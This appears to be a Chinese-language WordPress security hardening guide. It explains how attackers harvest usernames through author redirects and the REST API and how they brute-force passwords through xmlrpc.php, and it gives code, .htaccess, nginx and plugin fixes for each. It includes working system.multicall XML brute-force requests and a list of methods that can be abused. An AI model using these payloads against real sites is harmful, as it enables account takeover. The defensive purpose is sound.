一、author頁面地址
author頁面地址為 http://yoursite/?author=1 ID是自增的
請求這個地址會 301 到一個url,這個url里包含了作者的用戶名。雖然不算漏洞,還是給了爆破者很大的便利。
301指向的url : .../author/你的后台登錄用戶名
解決方案
1.在主題代碼里實現,只要訪問主頁url后頭有author參數就讓他跳到主頁
將下面的代碼添加到當前主題的 functions.php 文件:
function my_author_link() { return home_url('/' ); } add_filter('author_link','my_author_link');
2.通過.htaccess文件添加301重定向來隱藏后台用戶名
在 .htaccess 文件里加入
redirect 301 /(這里還有path的請自行添加)/author/你的后台登錄用戶名/ http://yoursite/
上面這段代碼意思為:
將 http://yoursite/.../author/你的后台登錄用戶名/
跳轉至
http://yoursite/
當我們輸入http://yoursite/?author=1 時會先跳轉至http://yoursite/.../author/你的后台登錄用戶名/,所以將跳轉后的鏈接做301重定向即可。
此方法也可以在你的web服務器配置文件中實現
二.xmlrpc.php
xmlrpc 是 WordPress 中進行遠程調用的接口,而使用 xmlrpc 調用接口進行賬號爆破在很早之前就被提出並加以利用。xmlrpc登錄接口默認沒有驗證碼,最大錯誤嘗試次數限制等。利用xmlrpc.php提供的接口嘗試猜解用戶的密碼,可以繞過wordpress對暴力破解的限制。
1.攻擊方式
攻擊的方式直接POST以下數據到xmlrpc.php
<?xml version="1.0" encoding="iso-8859-1"?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>username</value></param> <param><value>password</value></param> </params> </methodCall>
其中username字段是預先收集的用戶名。password是嘗試的密碼。關於getUsersBlogs接口的更多信息可以參考官方的指南 。如果密碼正確,返回為:
<?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params> <param> <value> <array> <data> <value> <struct> <member> <name>isAdmin</name> <value> <boolean>1</boolean> </value> </member> <member> <name>url</name> <value> <string>http://yoursite/</string> </value> </member> <member> <name>siteid</name> <value> <string>1</string> </value> </member> <member> <name>SiteName</name> <value> <string>Your Site</string> </value> </member> <member> <name>xmlrpc</name> <value> <string>http://yoursite/xmlrpc.php</string> </value> </member> </struct> </value> </data> </array> </value> </param> </params> </methodResponse>
錯誤返回:
<?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value> <struct> <member> <name>faultCode</name> <value> <int>403</int> </value> </member> <member> <name>faultString</name> <value> <string>用戶名或密碼不正確。</string> </value> </member> </struct> </value> </fault> </methodResponse>
近日 SUCURI 發布文章介紹了如何利用 xmlrpc 調用接口中的 system.multicall 來提高爆破效率,使得成千上萬次的帳號密碼組合嘗試能在一次請求完成,極大的壓縮請求次數,在一定程度上能夠躲避日志的檢測。
2.原理分析
WordPress 中關於 xmlrpc 服務的定義代碼主要位於 wp-includes/class-IXR.php 和 wp-includes/class-wp-xmlrpc-server.php 中。基類 IXR_Server 中定義了三個內置的調用方法,分別為 system.getCapabilities,system.listMethods 和 system.multicall,其調用映射位於 IXR_Server 基類定義中:
<?php function setCallbacks() { $this->callbacks['system.getCapabilities'] = 'this:getCapabilities'; $this->callbacks['system.listMethods'] = 'this:listMethods'; $this->callbacks['system.multicall'] = 'this:multiCall'; }
而基類在初始化時,調用 setCallbacks() 綁定了調用映射關系:
<?php function __construct( $callbacks = false, $data = false, $wait = false ) { $this->setCapabilities(); if ($callbacks) { $this->callbacks = $callbacks; } $this->setCallbacks(); // 綁定默認的三個基本調用映射 if (!$wait) { $this->serve($data); } }
再來看看 system.multicall 對應的處理函數:
<?php function multiCall($methodcalls) { // See http://www.xmlrpc.com/discuss/msgReader$1208 $return = array(); foreach ($methodcalls as $call) { $method = $call['methodName']; $params = $call['params']; if ($method == 'system.multicall') { $result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden'); } else { $result = $this->call($method, $params); } if (is_a($result, 'IXR_Error')) { $return[] = array( 'faultCode' => $result->code, 'faultString' => $result->message ); } else { $return[] = array($result); } } return $return; }
可以從代碼中看出,程序會解析請求傳遞的 XML,遍歷多重調用中的每一個接口調用請求,並會將最終有調用的結果合在一起返回給請求端。
這樣一來,就可以將500種甚至是10000種帳號密碼爆破嘗試包含在一次請求中,服務端會很快處理完並返回結果,這樣極大地提高了爆破的效率,利用多重調用接口壓縮了請求次數,10000種帳號密碼嘗試只會在目標服務器上留下一條訪問日志,一定程度上躲避了日志的安全檢測。
通過閱讀 WordPress 中 xmlrpc 相關處理的代碼,能大量的 xmlrpc 調用都驗證了用戶名和密碼:
<?php if ( !$user = $this->login($username, $password) ) return $this->error;
通過搜索上述登錄驗證代碼可以得到所有能夠用來進行爆破的調用方法列表如下:
wp.getUsersBlogs, wp.newPost, wp.editPost, wp.deletePost, wp.getPost, wp.getPosts, wp.newTerm, wp.editTerm, wp.deleteTerm, wp.getTerm, wp.getTerms, wp.getTaxonomy, wp.getTaxonomies, wp.getUser, wp.getUsers, wp.getProfile, wp.editProfile, wp.getPage, wp.getPages, wp.newPage, wp.deletePage, wp.editPage, wp.getPageList, wp.getAuthors, wp.getTags, wp.newCategory, wp.deleteCategory, wp.suggestCategories, wp.getComment, wp.getComments, wp.deleteComment, wp.editComment, wp.newComment, wp.getCommentStatusList, wp.getCommentCount, wp.getPostStatusList, wp.getPageStatusList, wp.getPageTemplates, wp.getOptions, wp.setOptions, wp.getMediaItem, wp.getMediaLibrary, wp.getPostFormats, wp.getPostType, wp.getPostTypes, wp.getRevisions, wp.restoreRevision, blogger.getUsersBlogs, blogger.getUserInfo, blogger.getPost, blogger.getRecentPosts, blogger.newPost, blogger.editPost, blogger.deletePost, mw.newPost, mw.editPost, mw.getPost, mw.getRecentPosts, mw.getCategories, mw.newMediaObject, mt.getRecentPostTitles, mt.getPostCategories, mt.setPostCategories
這里是用參數傳遞最少獲取信息最直接的 wp.getUsersBlogs 進行測試,將兩次帳號密碼嘗試包含在同一次請求里,構造 XML 請求內容為:
<?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>system.multicall</methodName> <params><param> <value><array><data> <value><struct> <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member> <member><name>params</name><value><array><data> <value><string>admin</string></value> <value><string>admin888</string></value> </data></array></value></member> </struct></value> <value><struct> <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member> <member><name>params</name><value><array><data> <value><string>guest</string></value> <value><string>test</string></value> </data></array></value></member> </struct></value> </data></array></value> </param></params> </methodCall>
將上面包含兩個子調用的 XML 請求POST至 xmlrpc 服務端入口,若目標開啟了 xmlrpc 服務會返回類似如下的信息:
<?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params> <param> <value> <array><data> <value><array><data> <value><array><data> <value><struct> <member><name>isAdmin</name><value><boolean>1</boolean></value></member> <member><name>url</name><value><string>http://172.16.96.130/xampp/wordpress-4.3.1/</string></value></member> <member><name>blogid</name><value><string>1</string></value></member> <member><name>blogName</name><value><string>WordPress 4.3.1</string></value></member> <member><name>xmlrpc</name><value><string>http://172.16.96.130/xampp/wordpress-4.3.1/xmlrpc.php</string></value></member> </struct></value> </data></array></value> </data></array></value> <value><struct> <member><name>faultCode</name><value><int>403</int></value></member> <member><name>faultString</name><value><string>用戶名或密碼不正確。</string></value></member> </struct></value> </data></array> </value> </param> </params> </methodResponse>
從結果中可以看到在同一次請求里面處理了兩種帳號密碼組合,並以集中形式將結果返回,通過該種方式可以極大地提高帳號爆破效率。
3.防護建議
1) 通過配置 Apache、Nginx 等 Web 服務器來限制 xmlrpc.php 文件的訪問;
這里舉例一個nginx的
location =/xmlrpc.php {
deny all;
}
2) 添加防護代碼至WordPress配置文件
在wordpress的配置文件 wp-config.php 中添加如下代碼
add_filter('xmlrpc_enabled', '__return_false');
3) 從官方插件庫中安裝 Disable XML-RPC https://wordpress.org/plugins/disable-xml-rpc/ 並啟用。
4) 在不影響站點運行的情況下可以直接刪除 xmlrpc.php 文件。(不建議)
三. wordpress 后台默認地址
后台默認地址是 http://yoursite/wp-login.php 這個地址很容易讓有意爆破者,或者爆破工具(比如:wpscan) 找到,我們需要修改掉這個默認地址。
網上找到的很多做法是這樣。在主題的 functions.php 里添加以下代碼
function login_protection() { if($_GET['word'] !='press') header('Location: /'); } add_action('login_enqueue_scripts','login_protection');
這樣一來,后台登錄的唯一地址就是 http://yoursite/wp-login.php?word=press,如果不是這個地址,就會自動跳轉到 http://yoursite/
但是,這並不能完全解決爆破入口的問題,懂一些http的人可以通過post來爆破該入口。
解決方案:
這里推薦三個插件
WPS Hide Login: 修改登錄路由,來達到隱藏wordpress登錄入口暴露的問題
WPS Limit Login: 限制后台登錄試錯次數,阻止黑客的IP地址
或
Brute Force Login Protection :跟 WPS Limit Login 功能差不多
四.restAPI
wordpress的restAPI也是可以暴露用戶名的
GET http://yoursite/wp-json/wp/v2/users
[ { "id": 1, "name": "nickname", "url": "", "description": "", "link": "http://yoursite/author/username", "slug": "username", "avatar_urls": { "24": "https://secure.gravatar.com/avatar/hashNumber?s=24&d=retro&r=g", "48": "https://secure.gravatar.com/avatar/hashNumber?s=48&d=retro&r=g", "96": "https://secure.gravatar.com/avatar/hashNumber?s=96&d=retro&r=g" }, "meta": [], "_links": { "self": [ { "href": "http://yoursite/wp-json/wp/v2/users/1" } ], "collection": [ { "href": "http://yoursite/wp-json/wp/v2/users" } ] } } ]
"link": "http://yoursite/author/username" 中 username 就是后台用戶名了
解決方案:
方法一: 代碼中禁止
在wordpress的主題所在 functions.php 中添加如下代碼
過濾users端點,使未登錄用戶不能訪問
add_filter( 'rest_endpoints', function( $endpoints ){ if(!is_user_logged_in()) { if ( isset( $endpoints['/wp/v2/users'] ) ) { unset( $endpoints['/wp/v2/users'] ); } if ( isset( $endpoints['/wp/v2/users/(?P<id>[\d]+)'] ) ) { unset( $endpoints['/wp/v2/users/(?P<id>[\d]+)'] ); } } return $endpoints; });
或者
完全禁用未登錄用戶獲取api
/*禁用未登錄的用戶*/ function rest_only_for_authorized_users($wp_rest_server) { if ( !is_user_logged_in() ) { wp_die('非法操作!'); } } add_filter('rest_api_init', 'rest_only_for_authorized_users', 99);
兩種方法,二選一
方法二:通過Web 服務器限制restAPI的訪問
這里用nginx來舉例子,其他服務器的設置請自行研究
全面禁用restAPI
location ~* /wp/v2/(.*) {
deny all;
}
只禁用users端點
location ~* /wp-json/wp/v2/users(\/)?(.*)? {
deny all;
}
方法三:WPS Bidouille插件
WPS Bidouille 中有個功能,可以直接在后台禁用掉restAPI的用戶端點,所以,你只需要將用戶端點在后台禁用即可。也可直接禁用REST API。
此外,該插件還支持禁用作者頁面和作者鏈接,省掉了本文第一節的代碼操作。其他功能詳見這里
參考文章